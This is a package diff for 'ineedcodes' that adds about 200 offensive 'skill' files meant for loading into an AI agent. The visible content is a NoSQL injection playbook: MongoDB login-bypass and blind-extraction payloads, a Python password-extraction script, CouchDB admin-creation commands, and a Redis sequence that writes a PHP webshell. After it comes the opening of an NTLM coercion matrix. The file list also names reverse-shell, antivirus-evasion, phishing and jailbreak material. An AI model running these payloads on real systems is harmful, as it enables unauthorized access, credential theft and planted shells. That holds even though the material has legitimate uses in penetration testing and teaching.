ineedcodes 1.6.0 → 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -1
- package/skills/401-403-bypass-techniques/SKILL.md +348 -0
- package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
- package/skills/active-directory-acl-abuse/SKILL.md +295 -0
- package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
- package/skills/active-directory-certificate-services/SKILL.md +303 -0
- package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
- package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
- package/skills/ai-ml-security/SKILL.md +425 -0
- package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
- package/skills/android-pentesting-tricks/SKILL.md +369 -0
- package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
- package/skills/anti-debugging-techniques/SKILL.md +407 -0
- package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
- package/skills/api-authorization-and-bola/SKILL.md +48 -0
- package/skills/api-recon-and-docs/SKILL.md +61 -0
- package/skills/api-sec/SKILL.md +49 -0
- package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
- package/skills/auth-sec/SKILL.md +41 -0
- package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
- package/skills/bba-ad-attacker/SKILL.md +420 -0
- package/skills/bba-api-security/SKILL.md +95 -0
- package/skills/bba-attack-planner/SKILL.md +186 -0
- package/skills/bba-binary-exploit/SKILL.md +65 -0
- package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
- package/skills/bba-bug-bounty/SKILL.md +245 -0
- package/skills/bba-cicd-redteam/SKILL.md +515 -0
- package/skills/bba-cloud-security/SKILL.md +97 -0
- package/skills/bba-container-escape/SKILL.md +161 -0
- package/skills/bba-credential-tester/SKILL.md +346 -0
- package/skills/bba-crypto-analyst/SKILL.md +54 -0
- package/skills/bba-ctf-solver/SKILL.md +166 -0
- package/skills/bba-detection-engineer/SKILL.md +93 -0
- package/skills/bba-engagement-planner/SKILL.md +68 -0
- package/skills/bba-exploit-chainer/SKILL.md +280 -0
- package/skills/bba-exploit-guide/SKILL.md +96 -0
- package/skills/bba-forensics-analyst/SKILL.md +512 -0
- package/skills/bba-graphql-hunter/SKILL.md +145 -0
- package/skills/bba-hardware-hacker/SKILL.md +57 -0
- package/skills/bba-jwt-cracker/SKILL.md +133 -0
- package/skills/bba-llm-redteam/SKILL.md +149 -0
- package/skills/bba-malware-analyst/SKILL.md +305 -0
- package/skills/bba-mobile-pentester/SKILL.md +350 -0
- package/skills/bba-osint-collector/SKILL.md +645 -0
- package/skills/bba-payload-crafter/SKILL.md +347 -0
- package/skills/bba-phishing-operator/SKILL.md +516 -0
- package/skills/bba-poc-validator/SKILL.md +249 -0
- package/skills/bba-privesc-advisor/SKILL.md +98 -0
- package/skills/bba-purple-team/SKILL.md +56 -0
- package/skills/bba-recon-advisor/SKILL.md +215 -0
- package/skills/bba-red-team-operator/SKILL.md +61 -0
- package/skills/bba-report-generator/SKILL.md +145 -0
- package/skills/bba-reverse-engineer/SKILL.md +298 -0
- package/skills/bba-social-engineer/SKILL.md +341 -0
- package/skills/bba-ssrf-hunter/SKILL.md +120 -0
- package/skills/bba-stig-analyst/SKILL.md +108 -0
- package/skills/bba-subdomain-takeover/SKILL.md +141 -0
- package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
- package/skills/bba-threat-modeler/SKILL.md +574 -0
- package/skills/bba-vuln-scanner/SKILL.md +305 -0
- package/skills/bba-web-hunter/SKILL.md +285 -0
- package/skills/bba-wireless-pentester/SKILL.md +539 -0
- package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
- package/skills/binary-protection-bypass/SKILL.md +295 -0
- package/skills/browser-exploitation-v8/SKILL.md +334 -0
- package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
- package/skills/business-logic-vuln/SKILL.md +33 -0
- package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
- package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
- package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
- package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
- package/skills/classical-cipher-analysis/SKILL.md +663 -0
- package/skills/clickjacking/SKILL.md +163 -0
- package/skills/cmdi-command-injection/SKILL.md +687 -0
- package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
- package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
- package/skills/container-escape-techniques/SKILL.md +339 -0
- package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
- package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
- package/skills/crlf-injection/SKILL.md +179 -0
- package/skills/csp-bypass-advanced/SKILL.md +259 -0
- package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
- package/skills/csv-formula-injection/SKILL.md +144 -0
- package/skills/dangling-markup-injection/SKILL.md +321 -0
- package/skills/defi-attack-patterns/SKILL.md +355 -0
- package/skills/dependency-confusion/SKILL.md +178 -0
- package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
- package/skills/deserialization-insecure/SKILL.md +725 -0
- package/skills/dns-rebinding-attacks/SKILL.md +337 -0
- package/skills/email-header-injection/SKILL.md +349 -0
- package/skills/expression-language-injection/SKILL.md +243 -0
- package/skills/file-access-vuln/SKILL.md +33 -0
- package/skills/format-string-exploitation/SKILL.md +312 -0
- package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
- package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
- package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
- package/skills/hack/SKILL.md +162 -0
- package/skills/hash-attack-techniques/SKILL.md +491 -0
- package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
- package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
- package/skills/heap-exploitation/SKILL.md +217 -0
- package/skills/http-host-header-attacks/SKILL.md +323 -0
- package/skills/http-parameter-pollution/SKILL.md +208 -0
- package/skills/http2-specific-attacks/SKILL.md +350 -0
- package/skills/idor-broken-object-authorization/SKILL.md +336 -0
- package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
- package/skills/injection-checking/SKILL.md +50 -0
- package/skills/insecure-source-code-management/SKILL.md +161 -0
- package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
- package/skills/ios-pentesting-tricks/SKILL.md +418 -0
- package/skills/jndi-injection/SKILL.md +265 -0
- package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
- package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
- package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
- package/skills/kernel-exploitation/SKILL.md +307 -0
- package/skills/kubernetes-pentesting/SKILL.md +348 -0
- package/skills/lattice-crypto-attacks/SKILL.md +497 -0
- package/skills/linux-lateral-movement/SKILL.md +348 -0
- package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
- package/skills/linux-privilege-escalation/SKILL.md +346 -0
- package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
- package/skills/linux-security-bypass/SKILL.md +345 -0
- package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
- package/skills/llm-prompt-injection/SKILL.md +357 -0
- package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
- package/skills/macos-process-injection/SKILL.md +384 -0
- package/skills/macos-security-bypass/SKILL.md +337 -0
- package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
- package/skills/memory-forensics-volatility/SKILL.md +323 -0
- package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
- package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
- package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
- package/skills/network-protocol-attacks/SKILL.md +330 -0
- package/skills/nosql-injection/SKILL.md +341 -0
- package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
- package/skills/ntlm-relay-coercion/SKILL.md +267 -0
- package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
- package/skills/open-redirect/SKILL.md +380 -0
- package/skills/path-traversal-lfi/SKILL.md +802 -0
- package/skills/prototype-pollution/SKILL.md +190 -0
- package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
- package/skills/prototype-pollution-advanced/SKILL.md +338 -0
- package/skills/race-condition/SKILL.md +526 -0
- package/skills/recon-and-methodology/SKILL.md +389 -0
- package/skills/recon-for-sec/SKILL.md +29 -0
- package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
- package/skills/request-smuggling/SKILL.md +314 -0
- package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
- package/skills/reverse-shell-techniques/SKILL.md +290 -0
- package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
- package/skills/rsa-attack-techniques/SKILL.md +437 -0
- package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
- package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
- package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
- package/skills/sandbox-escape-techniques/SKILL.md +250 -0
- package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
- package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
- package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
- package/skills/sqli-sql-injection/SKILL.md +489 -0
- package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
- package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
- package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
- package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
- package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
- package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
- package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
- package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
- package/skills/stack-overflow-and-rop/SKILL.md +304 -0
- package/skills/steganography-techniques/SKILL.md +348 -0
- package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
- package/skills/subdomain-takeover/SKILL.md +247 -0
- package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
- package/skills/symbolic-execution-tools/SKILL.md +419 -0
- package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
- package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
- package/skills/traffic-analysis-pcap/SKILL.md +341 -0
- package/skills/tunneling-and-pivoting/SKILL.md +343 -0
- package/skills/type-juggling/SKILL.md +291 -0
- package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
- package/skills/unauthorized-access-common-services/SKILL.md +388 -0
- package/skills/upload-insecure-files/SCENARIOS.md +158 -0
- package/skills/upload-insecure-files/SKILL.md +543 -0
- package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
- package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
- package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
- package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
- package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
- package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
- package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
- package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
- package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
- package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
- package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
- package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
- package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
- package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
- package/skills/waf-bypass-techniques/SKILL.md +290 -0
- package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
- package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
- package/skills/web-cache-deception/SKILL.md +222 -0
- package/skills/websocket-security/SKILL.md +454 -0
- package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
- package/skills/windows-av-evasion/SKILL.md +342 -0
- package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
- package/skills/windows-lateral-movement/SKILL.md +335 -0
- package/skills/windows-privilege-escalation/SKILL.md +328 -0
- package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
- package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
- package/skills/xslt-injection/SKILL.md +281 -0
- package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
- package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
- package/skills/xss-cross-site-scripting/SKILL.md +379 -0
- package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
- package/skills/xxe-xml-external-entity/SKILL.md +554 -0
- package/src/agent.js +1 -1
- package/src/session.js +47 -11
- package/src/skills.js +30 -6
- package/src/ui.js +1 -1
|
@@ -0,0 +1,341 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: nosql-injection
|
|
3
|
+
description: >-
|
|
4
|
+
NoSQL injection playbook. Use when MongoDB-style operators, JSON query objects, flexible search filters, or backend query DSLs may allow data or logic abuse.gated: true
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# SKILL: NoSQL Injection — Expert Attack Playbook
|
|
8
|
+
|
|
9
|
+
> **AI LOAD INSTRUCTION**: NoSQL injection is fundamentally different from SQL injection. Covers MongoDB operator injection, authentication bypass, blind extraction, aggregation pipeline injection, and Redis/CouchDB specific attacks. Very commonly missed by testers who only know SQLi patterns.
|
|
10
|
+
|
|
11
|
+
---
|
|
12
|
+
|
|
13
|
+
## 1. CORE CONCEPT — OPERATOR INJECTION
|
|
14
|
+
|
|
15
|
+
**SQL Injection** breaks out of string literals.
|
|
16
|
+
**NoSQL Injection** injects **query operators** that change query logic.
|
|
17
|
+
|
|
18
|
+
MongoDB example — normal query:
|
|
19
|
+
```javascript
|
|
20
|
+
db.users.find({username: "alice", password: "secret"})
|
|
21
|
+
```
|
|
22
|
+
|
|
23
|
+
Injection via JSON operator:
|
|
24
|
+
```json
|
|
25
|
+
{
|
|
26
|
+
"username": "admin",
|
|
27
|
+
"password": {"$gt": ""}
|
|
28
|
+
}
|
|
29
|
+
```
|
|
30
|
+
→ Becomes: `find({username:"admin", password:{$gt:""}})` → password > "" → always true!
|
|
31
|
+
|
|
32
|
+
---
|
|
33
|
+
|
|
34
|
+
## 2. MONGODB — LOGIN BYPASS
|
|
35
|
+
|
|
36
|
+
### JSON Body Injection (API with JSON Content-Type)
|
|
37
|
+
```json
|
|
38
|
+
POST /api/login
|
|
39
|
+
Content-Type: application/json
|
|
40
|
+
|
|
41
|
+
{"username": "admin", "password": {"$ne": "invalid"}}
|
|
42
|
+
{"username": "admin", "password": {"$gt": ""}}
|
|
43
|
+
{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}
|
|
44
|
+
{"username": "admin", "password": {"$regex": ".*"}}
|
|
45
|
+
```
|
|
46
|
+
|
|
47
|
+
### PHP `$_POST` Array Injection (URL-encoded form)
|
|
48
|
+
```
|
|
49
|
+
username=admin&password[$ne]=invalid
|
|
50
|
+
username=admin&password[$gt]=
|
|
51
|
+
username[$ne]=invalid&password[$ne]=invalid
|
|
52
|
+
username=admin&password[$regex]=.*
|
|
53
|
+
```
|
|
54
|
+
|
|
55
|
+
### Ruby / Python `params` Array Injection
|
|
56
|
+
Same as PHP — use bracket notation to inject objects:
|
|
57
|
+
```
|
|
58
|
+
?username[%24ne]=invalid&password[%24ne]=invalid
|
|
59
|
+
```
|
|
60
|
+
`%24` = URL-encoded `$`
|
|
61
|
+
|
|
62
|
+
---
|
|
63
|
+
|
|
64
|
+
## 3. MONGODB OPERATORS FOR INJECTION
|
|
65
|
+
|
|
66
|
+
| Operator | Meaning | Use Case |
|
|
67
|
+
|---|---|---|
|
|
68
|
+
| `$ne` | not equal | `{"password": {"$ne": "x"}}` → always matches |
|
|
69
|
+
| `$gt` | greater than | `{"password": {"$gt": ""}}` → all non-empty passwords match |
|
|
70
|
+
| `$gte` | greater or equal | Similar to $gt |
|
|
71
|
+
| `$lt` | less than | `{"password": {"$lt": "~"}}` → all ASCII match |
|
|
72
|
+
| `$regex` | regex match | `{"username": {"$regex": "adm.*"}}` |
|
|
73
|
+
| `$where` | JS expression | MOST DANGEROUS — code execution |
|
|
74
|
+
| `$exists` | field exists | `{"admin": {"$exists": true}}` |
|
|
75
|
+
| `$in` | in array | `{"username": {"$in": ["admin","user"]}}` |
|
|
76
|
+
|
|
77
|
+
---
|
|
78
|
+
|
|
79
|
+
## 4. BLIND DATA EXTRACTION VIA $REGEX
|
|
80
|
+
|
|
81
|
+
Like binary search in SQLi, use `$regex` to extract field values character by character:
|
|
82
|
+
|
|
83
|
+
```json
|
|
84
|
+
// Does admin's password start with 'a'?
|
|
85
|
+
{"username": "admin", "password": {"$regex": "^a"}}
|
|
86
|
+
|
|
87
|
+
// Does admin's password start with 'b'?
|
|
88
|
+
{"username": "admin", "password": {"$regex": "^b"}}
|
|
89
|
+
|
|
90
|
+
// Continue: narrow down each position
|
|
91
|
+
{"username": "admin", "password": {"$regex": "^ab"}}
|
|
92
|
+
{"username": "admin", "password": {"$regex": "^ac"}}
|
|
93
|
+
```
|
|
94
|
+
|
|
95
|
+
**Response difference**: successful login vs failed login = boolean oracle.
|
|
96
|
+
|
|
97
|
+
**Automate** with NoSQLMap or custom script with binary search on character set.
|
|
98
|
+
|
|
99
|
+
---
|
|
100
|
+
|
|
101
|
+
## 5. MONGODB $WHERE INJECTION (JS EXECUTION)
|
|
102
|
+
|
|
103
|
+
`$where` evaluates JavaScript in MongoDB context.
|
|
104
|
+
**Can only use current document's fields** — not system access. But allows logic abuse:
|
|
105
|
+
|
|
106
|
+
```json
|
|
107
|
+
{"$where": "this.username == 'admin' && this.password.length > 0"}
|
|
108
|
+
|
|
109
|
+
// Blind extraction via timing:
|
|
110
|
+
{"$where": "if(this.username=='admin'){sleep(5000);return true;}else{return false;}"}
|
|
111
|
+
|
|
112
|
+
// Regex via JS:
|
|
113
|
+
{"$where": "this.username.match(/^adm/) && true"}
|
|
114
|
+
```
|
|
115
|
+
|
|
116
|
+
**Limit**: `$where` doesn't give OS command execution — **server-side JS injection** (not to be confused with command injection).
|
|
117
|
+
|
|
118
|
+
---
|
|
119
|
+
|
|
120
|
+
## 6. AGGREGATION PIPELINE INJECTION
|
|
121
|
+
|
|
122
|
+
When user-controlled data enters `$match` or `$group` stages:
|
|
123
|
+
|
|
124
|
+
```javascript
|
|
125
|
+
// Vulnerable code:
|
|
126
|
+
db.collection.aggregate([
|
|
127
|
+
{$match: {category: userInput}}, // userInput = {"$ne": null}
|
|
128
|
+
...
|
|
129
|
+
])
|
|
130
|
+
```
|
|
131
|
+
|
|
132
|
+
Inject operators to bypass:
|
|
133
|
+
```json
|
|
134
|
+
// Input as object:
|
|
135
|
+
{"$ne": null} → matches all categories
|
|
136
|
+
{"$regex": ".*"} → matches all
|
|
137
|
+
```
|
|
138
|
+
|
|
139
|
+
---
|
|
140
|
+
|
|
141
|
+
## 7. HTTP PARAMETER POLLUTION FOR NOSQL
|
|
142
|
+
|
|
143
|
+
Some frameworks (Express.js, PHP) parse repeating parameters as arrays:
|
|
144
|
+
```
|
|
145
|
+
?filter=value1&filter=value2 → filter = ["value1", "value2"]
|
|
146
|
+
```
|
|
147
|
+
|
|
148
|
+
Use `qs` library parse behavior in Node.js:
|
|
149
|
+
```
|
|
150
|
+
?filter[$ne]=invalid
|
|
151
|
+
→ parsed as: filter = {$ne: "invalid"}
|
|
152
|
+
→ NoSQL operator injection
|
|
153
|
+
```
|
|
154
|
+
|
|
155
|
+
---
|
|
156
|
+
|
|
157
|
+
## 8. COUCHDB ATTACKS
|
|
158
|
+
|
|
159
|
+
### HTTP Admin API (if exposed)
|
|
160
|
+
```bash
|
|
161
|
+
# List databases:
|
|
162
|
+
curl http://target.com:5984/_all_dbs
|
|
163
|
+
|
|
164
|
+
# Read all documents in a DB:
|
|
165
|
+
curl http://target.com:5984/DATABASE_NAME/_all_docs?include_docs=true
|
|
166
|
+
|
|
167
|
+
# Create admin account (if anonymous access allowed):
|
|
168
|
+
curl -X PUT http://target.com:5984/_config/admins/attacker -d '"password"'
|
|
169
|
+
```
|
|
170
|
+
|
|
171
|
+
---
|
|
172
|
+
|
|
173
|
+
## 9. REDIS INJECTION
|
|
174
|
+
|
|
175
|
+
Redis exposed (6379) with no auth — command injection via input used in Redis queries:
|
|
176
|
+
|
|
177
|
+
```
|
|
178
|
+
# Via SSRF or direct injection:
|
|
179
|
+
SET key "<?php system($_GET['cmd']); ?>"
|
|
180
|
+
CONFIG SET dir /var/www/html
|
|
181
|
+
CONFIG SET dbfilename shell.php
|
|
182
|
+
BGSAVE
|
|
183
|
+
```
|
|
184
|
+
|
|
185
|
+
**Auth bypass** (older Redis with `requirepass` using simple password):
|
|
186
|
+
```
|
|
187
|
+
AUTH password
|
|
188
|
+
AUTH 123456
|
|
189
|
+
AUTH redis
|
|
190
|
+
AUTH admin
|
|
191
|
+
```
|
|
192
|
+
|
|
193
|
+
---
|
|
194
|
+
|
|
195
|
+
## 10. DETECTION PAYLOADS
|
|
196
|
+
|
|
197
|
+
Send these to any input processed by NoSQL backend:
|
|
198
|
+
|
|
199
|
+
```
|
|
200
|
+
true, $where: '1 == 1'
|
|
201
|
+
, $where: '1 == 1'
|
|
202
|
+
$where: '1 == 1'
|
|
203
|
+
', $where: '1 == 1
|
|
204
|
+
1, $where: '1 == 1'
|
|
205
|
+
{ $ne: 1 }
|
|
206
|
+
', sleep(1000)
|
|
207
|
+
1' ; sleep(1000)
|
|
208
|
+
{"$gt": ""}
|
|
209
|
+
{"$ne": "invalid"}
|
|
210
|
+
[$ne]=invalid
|
|
211
|
+
[$gt]=
|
|
212
|
+
```
|
|
213
|
+
|
|
214
|
+
**JSON variant** test (change Content-Type to `application/json` if endpoint is form-based):
|
|
215
|
+
```json
|
|
216
|
+
{"username": "admin", "password": {"$ne": ""}}
|
|
217
|
+
```
|
|
218
|
+
|
|
219
|
+
---
|
|
220
|
+
|
|
221
|
+
## 11. NOSQL VS SQL — KEY DIFFERENCES
|
|
222
|
+
|
|
223
|
+
| Aspect | SQLi | NoSQLi |
|
|
224
|
+
|---|---|---|
|
|
225
|
+
| Language | SQL syntax | Query operator objects |
|
|
226
|
+
| Injection vector | String concatenation | Object/operator injection |
|
|
227
|
+
| Common signal | Quote breaks response | `{$ne:x}` changes response |
|
|
228
|
+
| Extraction method | UNION / error-based | `$regex` character oracle |
|
|
229
|
+
| Auth bypass | `' OR 1=1--` | `{"password":{"$ne":""}}` |
|
|
230
|
+
| OS command | xp_cmdshell (MSSQL) | Rare (need `$where` + CVE) |
|
|
231
|
+
| Fingerprint | DB-specific error messages | "cannot use $" errors |
|
|
232
|
+
|
|
233
|
+
---
|
|
234
|
+
|
|
235
|
+
## 12. TESTING CHECKLIST
|
|
236
|
+
|
|
237
|
+
```
|
|
238
|
+
□ Test login fields with: {"$ne": "invalid"} JSON body
|
|
239
|
+
□ Test URL-encoded forms: password[$ne]=invalid
|
|
240
|
+
□ Test $regex for blind enumeration of field values
|
|
241
|
+
□ Try $where with sleep() for time-based blind
|
|
242
|
+
□ Check 5984 port for CouchDB (unauthenticated admin)
|
|
243
|
+
□ Check 6379 port for Redis (unauthenticated)
|
|
244
|
+
□ Try Content-Type: application/json on form endpoints
|
|
245
|
+
□ Monitor for operator-related error messages ("BSON" "operator" "$not allowed")
|
|
246
|
+
```
|
|
247
|
+
|
|
248
|
+
---
|
|
249
|
+
|
|
250
|
+
## 13. BLIND NoSQL EXTRACTION AUTOMATION
|
|
251
|
+
|
|
252
|
+
### $regex Character-by-Character Extraction (Python Template)
|
|
253
|
+
|
|
254
|
+
```python
|
|
255
|
+
import requests
|
|
256
|
+
import string
|
|
257
|
+
|
|
258
|
+
url = "http://target/login"
|
|
259
|
+
charset = string.ascii_lowercase + string.digits + string.punctuation
|
|
260
|
+
password = ""
|
|
261
|
+
|
|
262
|
+
while True:
|
|
263
|
+
found = False
|
|
264
|
+
for c in charset:
|
|
265
|
+
payload = {
|
|
266
|
+
"username": "admin",
|
|
267
|
+
"password[$regex]": f"^{password}{c}.*"
|
|
268
|
+
}
|
|
269
|
+
r = requests.post(url, json=payload)
|
|
270
|
+
if "success" in r.text or r.status_code == 302:
|
|
271
|
+
password += c
|
|
272
|
+
found = True
|
|
273
|
+
print(f"Found: {password}")
|
|
274
|
+
break
|
|
275
|
+
if not found:
|
|
276
|
+
break
|
|
277
|
+
|
|
278
|
+
print(f"Final password: {password}")
|
|
279
|
+
```
|
|
280
|
+
|
|
281
|
+
### $regex via URL-encoded GET Parameters
|
|
282
|
+
|
|
283
|
+
```
|
|
284
|
+
username=admin&password[$regex]=^a.*
|
|
285
|
+
username=admin&password[$regex]=^ab.*
|
|
286
|
+
# Iterate through charset until login succeeds
|
|
287
|
+
```
|
|
288
|
+
|
|
289
|
+
### Duplicate Key Bypass
|
|
290
|
+
|
|
291
|
+
```json
|
|
292
|
+
// When app checks one key but processes another:
|
|
293
|
+
{"id": "10", "id": "100"}
|
|
294
|
+
// JSON parsers typically use last occurrence
|
|
295
|
+
// Bypass: WAF validates id=10, app processes id=100
|
|
296
|
+
```
|
|
297
|
+
|
|
298
|
+
---
|
|
299
|
+
|
|
300
|
+
## 14. AGGREGATION PIPELINE INJECTION
|
|
301
|
+
|
|
302
|
+
When user input reaches MongoDB aggregation pipeline stages:
|
|
303
|
+
|
|
304
|
+
```javascript
|
|
305
|
+
// If user controls $match stage:
|
|
306
|
+
db.collection.aggregate([
|
|
307
|
+
{ $match: { user: INPUT } } // INPUT from user
|
|
308
|
+
])
|
|
309
|
+
|
|
310
|
+
// Injection: provide object instead of string
|
|
311
|
+
// INPUT = {"$gt": ""} → matches all documents
|
|
312
|
+
|
|
313
|
+
// $lookup for cross-collection data access:
|
|
314
|
+
// If $lookup stage is injectable:
|
|
315
|
+
{ $lookup: {
|
|
316
|
+
from: "admin_users", // attacker-chosen collection
|
|
317
|
+
localField: "user_id",
|
|
318
|
+
foreignField: "_id",
|
|
319
|
+
as: "leaked"
|
|
320
|
+
}}
|
|
321
|
+
|
|
322
|
+
// $out to write results to new collection:
|
|
323
|
+
{ $out: "public_collection" } // Write query results to accessible collection
|
|
324
|
+
```
|
|
325
|
+
|
|
326
|
+
### $where JavaScript Execution
|
|
327
|
+
|
|
328
|
+
```javascript
|
|
329
|
+
// $where allows arbitrary JavaScript (DANGEROUS):
|
|
330
|
+
db.users.find({ $where: "this.username == 'admin'" })
|
|
331
|
+
|
|
332
|
+
// If input reaches $where:
|
|
333
|
+
// Injection: ' || 1==1 || '
|
|
334
|
+
// Or: '; return true; var x='
|
|
335
|
+
// Time-based: '; sleep(5000); var x='
|
|
336
|
+
// Data exfil: '; if(this.password[0]=='a'){sleep(5000)}; var x='
|
|
337
|
+
```
|
|
338
|
+
|
|
339
|
+
**Reference**: Soroush Dalili — "MongoDB NoSQL Injection with Aggregation Pipelines" (2024)
|
|
340
|
+
|
|
341
|
+
**Note:** `$where` runs JavaScript on the server. Besides logic abuse and timing oracles, older MongoDB builds without a tight V8 sandbox historically raised RCE concerns; prefer treating any `$where` sink as high risk.
|
|
@@ -0,0 +1,253 @@
|
|
|
1
|
+
# Authentication Coercion Methods
|
|
2
|
+
|
|
3
|
+
> **AI LOAD INSTRUCTION**: Load this for detailed authentication coercion method comparison, RPC function-level details, and the Coercer tool usage. Assumes the main [SKILL.md](./SKILL.md) is already loaded for NTLM relay fundamentals.
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## 1. COERCION METHODS MATRIX
|
|
8
|
+
|
|
9
|
+
| Method | RPC Interface | Function | Protocol | Auth Type | Requires Creds? | Target |
|
|
10
|
+
|---|---|---|---|---|---|---|
|
|
11
|
+
| **PetitPotam** | MS-EFSR (lsarpc) | EfsRpcOpenFileRaw + variants | SMB (445) | Machine account | No (unauthenticated on unpatched) | DC/Any |
|
|
12
|
+
| **PrinterBug** | MS-RPRN (spoolss) | RpcRemoteFindFirstPrinterChangeNotificationEx | SMB (445) | Machine account | Yes (domain user) | Any with Spooler |
|
|
13
|
+
| **DFSCoerce** | MS-DFSNM (netdfs) | NetrDfsRemoveStdRoot / NetrDfsAddStdRoot | SMB (445) | Machine account | Yes (domain user) | DC |
|
|
14
|
+
| **ShadowCoerce** | MS-FSRVP (fssagent) | IsPathShadowCopied / IsPathSupported | SMB (445) | Machine account | Yes (domain user) | File servers |
|
|
15
|
+
| **MSEven** | MS-EVEN (eventlog) | ElfrOpenBELW | SMB (445) | Machine account | Yes (domain user) | Any |
|
|
16
|
+
| **CheeseOunce** | MS-EVEN | OpenEventLogW (via named pipe) | SMB (445) | Machine account | Yes | Any |
|
|
17
|
+
|
|
18
|
+
---
|
|
19
|
+
|
|
20
|
+
## 2. PETITPOTAM — MS-EFSR ABUSE
|
|
21
|
